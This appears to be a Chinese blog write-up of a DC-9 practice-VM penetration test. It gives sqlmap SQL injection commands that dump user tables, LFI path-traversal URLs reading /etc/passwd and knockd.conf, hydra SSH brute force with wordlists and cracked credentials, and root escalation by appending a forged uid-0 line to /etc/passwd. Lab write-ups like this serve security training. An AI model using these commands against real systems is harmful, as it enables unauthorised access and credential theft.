目录

DC-9靶机渗透测试

1、信息收集

1.1 扫描开放的端口

1.2 访问WEB站点

2. SQL注入

3、admin登录后台

4、尝试文件包含

4.1 利用 LFI 查看 /etc/knockd.conf 文件内容

4.2 hydra 爆破用户名和密码

5. 登录SSH

6、提权

6.1 构造root权限用户


DC-9靶机渗透测试

实验环境:

kali IP:192.168.3.196/24
DC-9的MAC地址:00:50:56:34:52:EA(IP为192.18.3.198)

1、信息收集

1.1 扫描开放的端口

1.2 访问WEB站点

在 search 下表单输入内容提交发现跳转到 results.php 页面,抓包查看数据包

发现在 /results.php 进行了 POST 传参,参数为 search=1,尝试使用 sqlmap 进行爆数据

2. SQL注入

点击search,也就是在search.php页面中,输入Mary' and 1=1#Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。

爆数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --dbs

注意--data 选项的用法

查看当前数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --current-db    (current database: 'Staff')

查看Staff数据库中的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" --tables(发现StaffDetails表和 Users表

查看Users中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" --columns(对Password和Usename字段感兴趣

查看Password和Username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" -C "Password|Username" --dump  (弹出的都选y否则爆出来的密码没解密)

 

Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)   

Username:admin

解码后为admin:transorbital1

爆users数据库的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" --tables  (UserDetails)

查看UserDetails中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" --columns

查看password和username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" -C "password" --dump

我太傻了,直接看表不就好了:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D users -T UserDetails --dump

查看Users表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D Staff -T Users --dump

解码后为admin:transorbital1

3、admin登录后台

登入后发现有 File does not exist 字样,疑似有文件包含!!!

4、尝试文件包含

http://192.168.3.198/manage.php?file=../../../../../../etc/passwd

发现有本地文件包含(LFI)

然后接下来尝试看看有没有远程文件包含(RFI)

http://192.168.3.198/manage.php?file=http://192.168.3.90/yjh.php(在本地web根目录写一个yjh.php)

发现不允许远程文件包含!

接下来不知道怎么办了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件内容

4.1 利用 LFI 查看 /etc/knockd.conf 文件内容

knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。(将ssh隐藏了起来)
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口

knochd 服务:
在使用此服务时,他人访问你的端口会显示 close 状态,只有按照特定顺序(配置文件)访问规定端口后才会开放被访问的端口,依次访问特定端口后才会关闭被访问的端口

?file=../../../../../etc/knockd.conf

使用nmap:
nmap -p 7469,8475,9842 192.168.3.198
nmap -p 8475 192.168.3.198
nmap -p 9842 192.168.3.198

4.2 hydra 爆破用户名和密码

name.txt:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin

passwd.txt:

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1

命令:hydra -L name.txt -P passwd.txt 192.168.3.198 ssh

[22][ssh] host: 192.168.3.198   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.3.198   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.3.198   login: janitor   password: Ilovepeepee

5. 登录SSH

一个一个登录看看,有没有什么有用的东西。

ssh janitor@192.168.3.198

进去看看

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

增加在pass.txt后重新进行爆破

发现新增加了一个用户:login: fredf   password: B4-Tru3-001

使用fredf登录ssh:ssh fredf@192.168.3.198

6、提权

思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——行不通!)

发现 /opt/devstuff/dist/test/test 可以无需密码以 root 权限执行

思路2、查看有没有一些具有suid权限的命令

find / -perm /4000 2>/dev/null

进入/opt/devstuff目录下,看到test.py文件

#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()

test.py的功能是把一个文件的内容写到另一个文件中

含义:可以看到该脚本是判断参数是否为 3 个,如果是 3 个,将第二个文件中内容读出,写到第三个文件末尾)
test目录可以root权限执行:
因为我们可以以 root 权限执行该脚本,所以我们尝试构造数据进行对 /etc/passwd 进行添加

6.1 构造root权限用户

openssl passwd -1 -salt toor 123456    #构造toor用户密码为123456的hash

$1$toor$9mBAQXqhpCXpTk7V6d/kI0

构造结果:toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash

复习:

root  :  x  :  0  :  0  :  root  :  /root  :  /bin/bash
HSP   :  x  :  500  :  500  :  :  /home/HSP  :   /bin/bash
字段1:用户名称
字段2:密码占位符
字段3:用户的uid (0表示超级用户,500-60000表示普通用户,1-499表示程序用户)程序用户不允许登录系统
字段4:基本组的gid(先有组才有用户,先建立组再建立用户)
字段5:用户信息记录字段(这个字段基本上废弃了)
字段6:用户的家目录
字段7:用户登录系统后使用的命令解释器

echo 'toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash'>/tmp/toor     #将其写入/tmp/toor文件中
cd /opt/devstuff/dist/test    #进入脚本路径
sudo ./test /tmp/toor /etc/passwd    #使用脚本
su toor    #切换用户

输入密码:123456

【CyberSecurityLearning 78】DC系列之DC-9渗透测试相关推荐

  1. 【小白渗透入门系列】P5 自动化渗透测试工具

    大家好! 我是小黄,很高兴又跟大家见面啦 ! 拒绝水文,从我做起 !!!! 未经允许,禁止转载 ,违者必究!!!! 本实验仅适用于学习和测试 ,严禁违法操作 ! ! ! 今天更新的是: P5 自动化渗 ...

  2. 网络安全系列-VIII: 什么是渗透测试 Penetration Test?

    什么是渗透测试? 概念及流程 渗透测试: Penetration Test, 是指用黑客的方式攻击你自己或客户的IT系统,来找到其中的安全漏洞.是安全评估的一种手段,目的是为了提高系统的安全性 渗透测 ...

  3. 【DC系列】DC-4靶机渗透练习

    1.主机发现:sudo arp-scan -l,发现靶机ip为192.168.225.143 2.扫描端口,开启了80端口 nmap 192.168.225.143 -sV -sC -Pn -n -v ...

  4. kali渗透测试系列---信息收集

    kali 渗透测试系列 文章目录 kali 渗透测试系列 信息收集 信息收集 信息收集阶段可以说是在整个渗透测试或者攻击很重要的阶段,毕竟知己知彼才能百战百胜,否则从目标主机使用的平台到数据库的使用再 ...

  5. 【CyberSecurityLearning 74】DC系列之DC-5渗透测试

    目录 DC系列之DC-5渗透测试 实验环境: 实验步骤: 1.主机扫描,确定目标主机IP 2.对DC-5进行端口扫描 3.访问DC-5的web服务,了解相关信息 4.使用wfuzz测试页面参数 5.看 ...

  6. 【CyberSecurityLearning 77】DC系列之DC-8渗透测试(Drupal)

    目录 DC-7靶机渗透测试 1.信息收集 1.1 扫描DC-8开放端口 1.2 访问WEB站点 2.渗透过程 2.1 用Sqlmap自动化工具注入 2.2 drush 命令对任意用户密码进行更改(发现 ...

  7. 【CyberSecurityLearning 76】DC系列之DC-7渗透测试(Drupal)

    目录 DC-7靶机渗透测试 1.信息收集 1.1 扫描开放的端口 1.2 访问WEB站点 2.登录ssh 3. 提权(suid提权) 3.1 exim4提权 4.drush 命令对任意用户密码进行更改 ...

  8. 【CyberSecurityLearning 75】DC系列之DC-6渗透测试(WordPress)

    目录 DC-6靶机渗透测试 1.信息收集 1.1 发现DC-6的IP地址 1.2 扫描开放端口 1.3 访问web网页(添加本地DNS解析) 1.4 Wpscan扫描站点(用户名) 2.WEB渗透 2 ...

  9. 【CyberSecurityLearning 73】DC系列之DC-4渗透测试

    目录 DC-4靶机渗透测试 信息收集 web渗透 DC-4靶机渗透测试 DC-4对于我们来说同样是黑盒测试 DC-4靶机MAC地址:00:0C:29:86:67:2E kali2021:192.168 ...

最新文章

  1. 运行在CentOS7.5上的Django项目时间不正确问题
  2. MATLAB读取写入文本数据最佳方法 | Best Method for Loading Saving Text Data Using MATLAB
  3. UOJ #277 BZOJ 4739 定向越野 (计算几何、最短路)
  4. 示范NTFS 卷上的硬链接
  5. JAVA语法——经典题目09
  6. 电脑如何设置不休眠_电脑休眠了却没法唤醒?设置一下就好!
  7. 是否担心别人将你的博客文章全部爬下来?3行代码教你检测爬虫
  8. Servlet 输出中文乱码的新收获(1)
  9. install opencv on mac and use it in xcode
  10. Input标签牲描述
  11. 【经典】MIT人工智能实验室: 如何做研究?
  12. JS核心之封装继承多态(一)
  13. 计算机所占比例的函数,(excel求百分比函数公式)excel所占比例怎么算
  14. 通过R访问世界银行数据(World Bank Data)分析经济
  15. 【华为OD机试真题 JAVA】机器人走迷宫
  16. Expeditious Cubing(浮点数处理)
  17. 【华人学者风采】黄维 西北工业大学
  18. 记Git报错-Everything up-to-date
  19. 关于AMD64和arm64、x86和x86_64的介绍
  20. 学习笔记 | Ch18 使用视图 view

热门文章

  1. JQuery绑定事件 时如何传递参数
  2. varchar,nvarchar不同呀。小心出错
  3. HD 2044 一只小蜜蜂(递推)
  4. hdu 3068 最长回文(manacher算法)
  5. MySQL的常见存储引擎介绍与参数设置调优
  6. Spark SQL中 RDD 转换到 DataFrame (方法二)
  7. LINUX下的tty,console与串口
  8. 杭电1069_01背包
  9. For与Function进阶实战、Lazy的使用笔记总结
  10. Spring 事情具体详尽的解释